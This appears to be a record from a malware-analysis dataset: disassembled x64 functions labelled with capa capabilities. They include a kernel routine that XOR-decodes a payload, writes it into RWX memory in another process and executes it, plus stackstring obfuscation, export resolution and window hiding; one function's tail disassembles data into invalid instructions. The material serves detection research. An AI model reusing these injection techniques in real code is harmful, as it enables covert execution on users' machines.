joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006250
Capabilities:
Print debug messages

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xd0
mov qword [r11 - 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rsp + 0xc8], rax
mov rbx, rcx
mov byte [r11 - 0x4c], 1
mov ecx, 1
call qword [sym.imp.SETUPAPI.dll_SetupSetNonInteractiveMode]
mov edi, eax
mov dword [rsp + 0x88], eax
xor esi, esi
mov word [rsp + 0xa0], si
xor r9d, r9d
xor edx, edx
lea r8d, [rsi + 2]
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupOpenInfFileW]
mov rbx, rax
mov qword [rsp + 0xa8], rax
cmp rax, 0xffffffffffffffff
je 0x14000643d
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rax, [0x140006130]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x7ff
lea r8, str.DefaultInstall.ntamd64
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.SETUPAPI.dll_SetupInstallFromInfSectionW]
test eax, eax
je 0x140006470
cmp byte [rsp + 0xa0], 0
je 0x140006353
lea rcx, str.File_installation_from_INF_aborted_due_to_failed_file_operation
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupCloseInfFile]
nop
mov ecx, edi
call qword [sym.imp.SETUPAPI.dll_SetupSetNonInteractiveMode]
mov eax, 0x16
jmp 0x140006418
cmp byte [rsp + 0xa1], 0
lea rcx, str.File_installation_from_INF_succeeded__requires_reboot___not_starting_callout_now
jne 0x14000636b
lea rcx, str.File_installation_from_INF_succeeded_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor r8d, r8d
lea rdx, str.DefaultInstall.ntamd64.Services
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupInstallServicesFromInfSectionW]
test eax, eax
je 0x140006475
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xbc2
jne 0x1400063b8
lea rcx, str.Service_installation_from_INF_succeeded__requires_reboot_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [rsp + 0xa1], 1
jmp 0x1400063c6
lea rcx, str.Service_installation_from_INF_succeeded_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
mov rcx, rbx
call qword [sym.imp.SETUPAPI.dll_SetupCloseInfFile]
nop
cmp byte [rsp + 0xa1], 0
je 0x1400063f7
lea rcx, str.installCtx.rebootRequired_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
mov ecx, edi
call qword [sym.imp.SETUPAPI.dll_SetupSetNonInteractiveMode]
mov eax, 0x15
jmp 0x140006418
mov ecx, edi
call qword [sym.imp.SETUPAPI.dll_SetupSetNonInteractiveMode]
mov eax, 0x14
jmp 0x140006418
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140006c50
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.140005260
mov ecx, dword [rsp + 0xa8]
mov dword [rsp + 0x60], ecx
lea rdx, [0x14001f900]
lea rcx, [rsp + 0x60]
call fcn.14000823c
nop
call fcn.140006210
call fcn.140006210
int3
Function at 0x140003864
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400038ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400038ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400038ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400038ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400038ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400038b0
xor al, al
add rsp, 0x28
ret
Function at 0x1400010b4
Capabilities:
Parse pe header
Print debug messages
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov eax, 0x5a4d
mov r12, r8
mov r8d, edx
mov rbp, rcx
cmp word [rcx], ax
je 0x1400010ef
lea rcx, [0x140001ec0]
call sub.ntoskrnl.exe_DbgPrint
or eax, 0xffffffff
jmp 0x140001262
movsxd rsi, dword [rcx + 0x3c]
add rsi, rbp
cmp dword [rsi], 0x4550
je 0x140001107
lea rcx, [0x140001ef0]
jmp 0x1400010e2
mov edx, 0x20b
mov eax, 0x88
cmp word [rsi + 0x18], dx
lea ecx, [rax - 0x10]
cmovne eax, ecx
mov rcx, rsi
mov r13d, dword [rax + rsi]
mov edx, r13d
mov eax, dword [rax + rsi + 4]
mov dword [rsp + 0x98], eax
call fcn.140001a18
or edi, 0xffffffff
cmp eax, edi
jne 0x140001148
lea rcx, [0x140001f20]
jmp 0x14000125b
mov ebx, eax
mov rcx, rsi
add rbx, rbp
mov eax, dword [rbx + 0x18]
mov edx, dword [rbx + 0x1c]
mov dword [rsp + 0x80], eax
call fcn.140001a18
mov edx, dword [rbx + 0x24]
mov rcx, rsi
mov r15d, eax
call fcn.140001a18
mov edx, dword [rbx + 0x20]
mov rcx, rsi
mov r14d, eax
call fcn.140001a18
cmp r15d, edi
je 0x140001254
cmp r14d, edi
je 0x140001254
cmp eax, edi
je 0x140001254
lea rcx, [r15 + rbp]
mov eax, eax
add rax, rbp
mov qword [rsp + 0x28], rcx
lea rcx, [r14 + rbp]
mov qword [rsp + 0x30], rax
xor r14d, r14d
mov qword [rsp + 0x20], rcx
mov ebx, edi
cmp dword [rsp + 0x80], r14d
jbe 0x140001241
mov edx, dword [rax + r14*4]
mov rcx, rsi
call fcn.140001a18
cmp eax, edi
je 0x14000121c
mov rdx, qword [rsp + 0x28]
mov ecx, eax
mov rax, qword [rsp + 0x20]
add rcx, rbp
movzx eax, word [rax + r14*2]
mov r9d, dword [rdx + rax*4]
cmp r9d, r13d
jb 0x1400011ff
mov eax, dword [rsp + 0x98]
add eax, r13d
cmp r9d, eax
jb 0x14000121c
mov r10, r12
sub r10, rcx
movzx eax, byte [rcx]
movzx edx, byte [rcx + r10]
sub eax, edx
jne 0x140001218
inc rcx
test edx, edx
jne 0x140001205
test eax, eax
je 0x140001230
inc r14d
cmp r14d, dword [rsp + 0x80]
jae 0x140001241
mov rax, qword [rsp + 0x30]
jmp 0x1400011c3
mov edx, r9d
mov rcx, rsi
call fcn.140001a18
mov ebx, eax
cmp eax, edi
jne 0x140001250
mov rdx, r12
lea rcx, [0x140001f90]
call sub.ntoskrnl.exe_DbgPrint
mov eax, ebx
jmp 0x140001262
lea rcx, [0x140001f50]
call sub.ntoskrnl.exe_DbgPrint
mov eax, edi
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000127c
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edx, dword [0x14000b688]
mov rdi, rcx
mov r8, rcx
mov rcx, qword [0x14000b680]
call fcn.1400010b4
mov edx, eax
mov eax, 0xffffffff
cmp rdx, rax
jne 0x1400012b4
or eax, 0xffffffff
jmp 0x140001310
mov r10, qword [0x14000b680]
or ebx, 0xffffffff
mov esi, dword [0x14000b688]
add r10, rdx
xor ecx, ecx
mov r8, r10
movsxd r9, ecx
lea rax, [r9 + rdx]
cmp rax, rsi
jae 0x1400012ff
mov r11b, byte [r8]
lea eax, [r11 + 0x3e]
cmp al, 1
jbe 0x1400012ff
cmp r11b, 0xb8
je 0x1400012f5
inc ecx
inc r8
cmp ecx, 0x20
jl 0x1400012cc
jmp 0x1400012ff
mov ebx, dword [r9 + r10 + 1]
cmp ebx, 0xffffffff
jne 0x14000130e
mov rdx, rdi
lea rcx, [0x140001fd0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001320
Capabilities:
Access pe header
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14000b610]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, qword [0x14000b698]
xor r12d, r12d
mov r15, rcx
test rbx, rbx
jne 0x140001490
lea rcx, [rbp - 0x30]
call fcn.1400014cc
mov rdi, rax
test rax, rax
je 0x1400013ca
cmp dword [rbp - 0x30], r12d
je 0x1400013ca
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rsi, rax
mov r14d, r12d
movzx ecx, word [rax + 0x14]
lea rbx, [rax + 0x18]
add rbx, rcx
cmp r12w, word [rax + 6]
jae 0x1400013ca
mov rcx, qword [rbx]
lea rdx, [0x140001eb0]
mov qword [rbp - 0x18], rcx
mov r8d, 5
lea rcx, [rbp - 0x18]
mov byte [rbp - 0x10], r12b
call sub.ntoskrnl.exe_strncmp
test eax, eax
je 0x1400013f1
movzx eax, word [rsi + 6]
add rbx, 0x28
inc r14d
cmp r14d, eax
jb 0x140001395
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001c10
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov dword [rbp - 0x28], 0xefc1f88b
mov esi, r12d
mov dword [rbp - 0x24], 0x20e78307
mov dword [rbp - 0x20], 0xfff25
mov byte [rbp - 0x1c], r12b
cmp dword [rbx + 8], 0xd
je 0x1400013ca
mov ecx, dword [rbx + 0xc]
lea rdx, [rbp - 0x28]
mov r14d, esi
mov r8d, 0xd
add rcx, r14
add rcx, rdi
call qword [sym.imp.ntoskrnl.exe_RtlCompareMemory]
cmp rax, 0xd
je 0x140001443
mov eax, dword [rbx + 8]
inc esi
sub eax, 0xd
cmp esi, eax
jb 0x140001413
jmp 0x1400013ca
mov edx, dword [rbx + 0xc]
add rdx, 0xd
add rdx, r14
add rdx, rdi
cmp byte [rdx], 0x4c
jne 0x1400013ca
cmp byte [rdx + 1], 0x8d
jne 0x1400013ca
cmp byte [rdx + 2], 0x15
jne 0x1400013ca
movsxd rax, dword [rdx + 3]
test eax, eax
je 0x1400013ca
lea rbx, [rax + 7]
add rbx, rdx
mov qword [0x14000b698], rbx
test rbx, rbx
je 0x1400013ca
mov rdi, qword [rbx]
test rdi, rdi
je 0x1400013ca
mov rcx, r15
call fcn.14000127c
cmp eax, 0xffffffff
je 0x1400013ca
mov ecx, eax
cmp rcx, qword [rbx + 0x10]
jae 0x1400013ca
mov rax, qword [rbx]
mov eax, dword [rax + rcx*4]
sar eax, 4
cdqe
add rax, rdi
jmp 0x1400013cc
Function at 0x1400014cc
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x20
xor esi, esi
lea r9, [rax + 0x10]
and dword [rax + 0x10], esi
lea rdx, [rax + 0x10]
mov rdi, rcx
xor r8d, r8d
lea ecx, [rsi + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
cmp dword [rsp + 0x38], esi
je 0x14000156a
call fcn.14000157c
mov r8d, eax
xor ecx, ecx
mov eax, dword [rsp + 0x38]
lea edx, [rax + rax]
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
je 0x14000156a
mov eax, dword [rsp + 0x38]
xor edx, edx
mov rcx, rbx
lea r8d, [rax + rax]
call fcn.140001c80
mov r8d, dword [rsp + 0x38]
lea r9, [rsp + 0x38]
add r8d, r8d
lea ecx, [rsi + 0xb]
mov rdx, rbx
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x14000155a
mov rsi, qword [rbx + 0x18]
test rdi, rdi
je 0x14000155a
mov ecx, dword [rbx + 0x20]
mov dword [rdi], ecx
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, rsi
jmp 0x14000156c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000157c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov edx, 0x14
mov dword [rbp - 0x50], 0x20707249
xor ecx, ecx
mov dword [rbp - 0x4c], 0x2b707249
mov dword [rbp - 0x48], 0x656c6946
mov dword [rbp - 0x44], 0x6174754d
mov dword [rbp - 0x40], 0x7346744e
mov dword [rbp - 0x3c], 0x616d6553
mov dword [rbp - 0x38], 0x52777445
mov dword [rbp - 0x34], 0x6e657645
mov dword [rbp - 0x30], 0x20646156
mov dword [rbp - 0x2c], 0x73646156
mov dword [rbp - 0x28], 0x61436d4d
mov dword [rbp - 0x24], 0x20206f49
mov dword [rbp - 0x20], 0x74696157
mov dword [rbp - 0x1c], 0x65536d4d
mov dword [rbp - 0x18], 0x43504c41
mov dword [rbp - 0x14], 0x47777445
mov dword [rbp - 0x10], 0x206c644d
mov dword [rbp - 0xc], 0x65726854
mov dword [rbp - 8], 0x63536343
mov dword [rbp - 4], 0x4b677844
call fcn.1400019bc
mov eax, eax
mov eax, dword [rbp + rax*4 - 0x50]
add rsp, 0x70
pop rbp
ret
Function at 0x14000162c
Capabilities:
Allocate or change rwx memory
Attach user process memory
Encode data using xor
Execute shellcode via indirect call
Print debug messages

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x14000b610]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rbx, r8
mov dword [rsp + 0x28], 0x40
mov rsi, rdx
mov qword [rbp - 0x11], rbx
xor r14d, r14d
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
mov qword [rbp - 0x21], r14
lea rdx, [rbp - 0x21]
mov qword [rbp - 0x29], r14
lea r9, [rbp - 0x11]
mov rdi, rcx
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x1400017c6
mov r8, qword [sym.imp.ntoskrnl.exe_PsProcessType]
lea rax, [rbp - 0x29]
mov qword [rsp + 0x28], r14
xor r9d, r9d
mov edx, 0x1fffff
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov r8, qword [r8]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
js 0x1400017c6
lea rcx, [0x140002000]
call sub.ntoskrnl.exe_DbgPrint
test rbx, rbx
je 0x1400016e2
mov rax, rsi
mov rcx, rbx
xor byte [rax], 0x55
inc rax
sub rcx, 1
jne 0x1400016d6
lea rcx, [0x140002020]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 1]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov qword [rbp - 9], r14
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov r9, qword [rbp - 0x21]
mov rdx, rsi
mov r8, qword [rbp - 0x29]
mov rcx, rax
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], r14b
mov qword [rsp + 0x20], rbx
call sub.ntoskrnl.exe_MmCopyVirtualMemory
lea rcx, [rbp - 1]
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
test ebx, ebx
jns 0x14000174a
mov eax, ebx
jmp 0x1400017c6
mov rax, qword [0x14000b690]
mov qword [rbp - 0x19], r14
test rax, rax
je 0x1400017c1
mov rcx, qword [rbp - 0x21]
mov r9, rdi
mov qword [rsp + 0x50], r14
xor r8d, r8d
mov qword [rsp + 0x48], r14
mov edx, 0x1fffff
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x19]
call qword [0x1400030d0]
mov ebx, eax
test eax, eax
js 0x1400017a8
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x140001746
mov r9d, 0x8000
lea r8, [rbp - 0x11]
lea rdx, [rbp - 0x21]
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
jmp 0x140001746
mov eax, 0xc0000001
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140001c10
add rsp, 0xc0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400017e0
Capabilities:
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x14000b610]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rdx, [0x140001e70]
lea rcx, [rbp - 9]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and qword [rbp + 0xf], 0
lea rax, [rbp - 9]
xorps xmm0, xmm0
mov qword [rbp + 0x17], rax
movdqu xmmword [rbp + 0x27], xmm0
mov dword [rbp + 7], 0x30
mov dword [rbp + 0x1f], 0x240
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
test al, al
je 0x140001848
mov eax, 0xc0000001
jmp 0x14000194b
and dword [rsp + 0x50], 0
lea r9, [rbp - 0x19]
and qword [rsp + 0x48], 0
lea r8, [rbp + 7]
mov dword [rsp + 0x40], 0x20
lea rcx, [rbp - 0x29]
mov dword [rsp + 0x38], 1
mov edx, 0x80000000
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov ebx, eax
test eax, eax
js 0x140001949
mov rcx, qword [rbp - 0x29]
lea r8, [rbp + 0x37]
and dword [rbp + 0x37], 0
lea rdx, [rbp - 0x19]
xor eax, eax
mov dword [rsp + 0x20], 5
xorps xmm0, xmm0
mov dword [rbp + 0x4b], eax
movups xmmword [rbp + 0x3b], xmm0
lea r9d, [rax + 0x18]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov ebx, eax
test eax, eax
js 0x14000193f
mov eax, dword [rbp + 0x3f]
mov cl, 1
mov edx, eax
mov dword [0x14000b688], eax
call fcn.140001968
and qword [rsp + 0x40], 0
lea rcx, [rbp - 0x21]
and dword [rbp - 0x1d], 0
xor r9d, r9d
and dword [rbp - 0x21], 0
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov ecx, dword [0x14000b688]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp - 0x29]
mov qword [rsp + 0x28], rax
mov qword [0x14000b680], rax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ebx, eax
test eax, eax
jns 0x140001949
mov rcx, qword [0x14000b680]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x140001949
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140001c10
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rbp
ret

Function at 0x140001a18
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
movzx r9d, word [rcx + 0x14]
xor r10d, r10d
movzx ebx, word [rcx + 6]
add r9, 0x18
add r9, rcx
test ebx, ebx
je 0x140001a54
mov r11d, dword [r9 + 0xc]
cmp r11d, edx
ja 0x140001a48
mov ecx, dword [r9 + 8]
add ecx, r11d
cmp ecx, edx
ja 0x140001a5d
add r9, 0x28
inc r10d
cmp r10d, ebx
jl 0x140001a34
or eax, 0xffffffff
mov rbx, qword [rsp + 8]
ret
mov eax, dword [r9 + 0x14]
sub eax, r11d
add edx, eax
or eax, 0xffffffff
cmp edx, r8d
cmovb eax, edx
jmp 0x140001a57
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
stosd dword [rdi], eax
jno 0x14003f689
and al, 0x4a
add byte [rcx + 0x3b51961d], ch
sub al, 0x2b
mov byte [rbx - 0x4d373a1b], dl
mov dh, 0xc9
adc byte [rbp + 0xb121850], ch
sbb byte [rdx], dl
or eax, dword [rbp + 0x24d0a3a3]
invalid
sbb byte [rdx], dl
or eax, dword [rbp + 0x24d0a3a3]
adc al, 0x86
xchg byte [rsi], ah
jb 0x14003f6f8
xchg byte [rsi + 0x11547226], al
push rsp
nop
sub al, 0x8c
lodsd eax, dword [rsi]
cmpsb byte [rsi], byte [rdi]
xchg ebx, eax
jne 0x14003f6a1
jb 0x14003f6f8
adc dword [rax + rdx*4 + 0x2c], edx
mov word [rbp - 0xc8a6c5a], gs
dec byte [rdi - 0x1c040a1]
cli
push rcx
push rsi
jne 0x14003f69f
invalid
in eax, 0x27
cmpsd dword [rsi], dword [rdi]
outsd dx, dword [rsi]
int 0xca
invalid
enter 0x5d79, 0x5b
jns 0x14003f728
pop rbx
push rsp
fisttp word [rdx]
or al, ah
jns 0x14003f720
adc eax, dword [rax - 0x300a2a99]
invalid
nop
invalid
std
jp 0x14003f756
jmp 0x14003f717
cmp al, 0xfd
mov edi, edi
xchg ecx, eax
adc al, 0xcd
invalid
push rsp
std
mov dl, 0xac
out 0x25, eax
scasd eax, dword [rdi]
invalid
invalid
fdiv dword [rbx + 0x6d2e13db]
mov dword [rdi], edi
invalid
xchg esi, eax
cwde
jle 0x14003f706
fidivr dword [rbp + 0x45e565e7]
push r13
push rbp
rol dword [rdi + 0x581ba98e], 1
sbb ebx, dword [rax + 0x22]
jl 0x14003f768
lahf
movsd dword [rdi], dword [rsi]
int 0x14
pop rbx
rcl ebp, cl
lodsb al, byte [rsi]
test eax, 0x4374f67a
invalid
cwde
invalid
Function at 0x140001c24
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
xor ebx, ebx
mov esi, r9d
mov rbp, r8
test r8, r8
je 0x140001cdc
mov rdi, qword [rsp + 0x70]
test rdi, rdi
je 0x140001cdc
lea rax, [r11 - 0x18]
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [r11 - 0x28], rax
mov word [rdi], bx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001cdc
mov rcx, qword [rsp + 0x30]
lea eax, [rsi + rsi]
xor r9d, r9d
mov dword [rsp + 0x60], eax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rdx, rbp
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001cb5
mov eax, dword [rsp + 0x60]
shr eax, 1
mov dword [rsp + 0x60], eax
cmp eax, esi
jae 0x140001cd7
mov word [rdi + rax*2], bx
mov bl, 1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
lea eax, [rsi - 1]
jmp 0x140001caf
xor al, al
jmp 0x140001cc2
Function at 0x1400022f0
Capabilities:
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x20
mov edi, edx
test r8, r8
jne 0x1400428ba
mov eax, dword [0x1400e5e98]
cmp eax, 0xffffffff
je 0x1400023ca
movsxd rcx, eax
mov rax, qword [0x1400e5e80]
mov rcx, qword [rax + rcx*8]
mov rbx, qword [rcx]
cmp byte [rbx + 0x6a], 0
mov rbp, qword [rbx]
je 0x140002344
cmp dword [rbx + 0x2b8], 0
mov byte [rbx + 0x6a], 0
jge 0x1400428d4
cmp edi, 8
jg 0x140042930
je 0x140002372
test edi, edi
je 0x14004291c
cmp edi, 1
je 0x140002372
mov edx, 6
cmp edi, 2
je 0x1400023c1
cmp edi, 3
je 0x1400023b8
jle 0x140002399
cmp edi, 5
jg 0x1400023ae
cmp byte [rbx + 0x68], 0
jne 0x1400023ca
mov edx, edi
mov rcx, rbp
call qword [sym.imp.USER32.dll_ShowWindow]
lea eax, [rdi - 4]
test eax, 0xfffffffb
je 0x140002395
mov rdx, rbp
call fcn.14001a4f8
mov byte [rbx + 0x68], 1
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp edi, edx
je 0x140042903
jmp 0x140002399
mov byte [rbx + 0x68], 1
jmp 0x140042997
mov byte [rbx + 0x68], 1
jmp 0x140042903
xor eax, eax
jmp 0x14000239e
lea rcx, [0x1400e5de0]
mov rdx, r8
call fcn.140004570
mov dword [0x1400e5e98], eax
jmp 0x140002310
cmp byte [rbx + 0x2c4], 0
je 0x140002344
mov r8d, dword [rbx + 0x2c0]
lea rcx, [0x1400e5de0]
mov rdx, rbx
call fcn.1400a5f88
mov byte [rbx + 0x2c4], 0
jmp 0x140002344
cmp byte [rbx + 0x68], 0
je 0x1400023ca
mov rcx, rbp
call qword [sym.imp.USER32.dll_ShowWindow]
nop
jmp 0x140002399
xor edx, edx
mov rcx, rbp
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbx + 0x68], 0
jmp 0x140002399
mov ecx, edi
sub ecx, 9
je 0x140042997
sub ecx, 0x37
je 0x140042983
dec ecx
je 0x14004297f
dec ecx
je 0x14004296c
dec ecx
jne 0x140002399
mov byte [rbx + 0x69], cl
xor ecx, ecx
call qword [sym.imp.USER32.dll_LockWindowUpdate]
mov rcx, qword [rbx]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.USER32.dll_InvalidateRect]
nop
jmp 0x140002399
mov rcx, rbp
mov byte [rbx + 0x69], 1
call qword [sym.imp.USER32.dll_LockWindowUpdate]
nop
jmp 0x140002399
xor edx, edx
jmp 0x140042988
mov edx, 1
mov rcx, rbp
call qword [sym.imp.USER32.dll_EnableWindow]
nop
jmp 0x140002399
cmp byte [rbx + 0x68], 0
je 0x1400023ca
mov edx, edi
mov rcx, rbp
call qword [sym.imp.USER32.dll_ShowWindow]
mov rdx, rbp
call fcn.14001a4f8
nop
jmp 0x140002399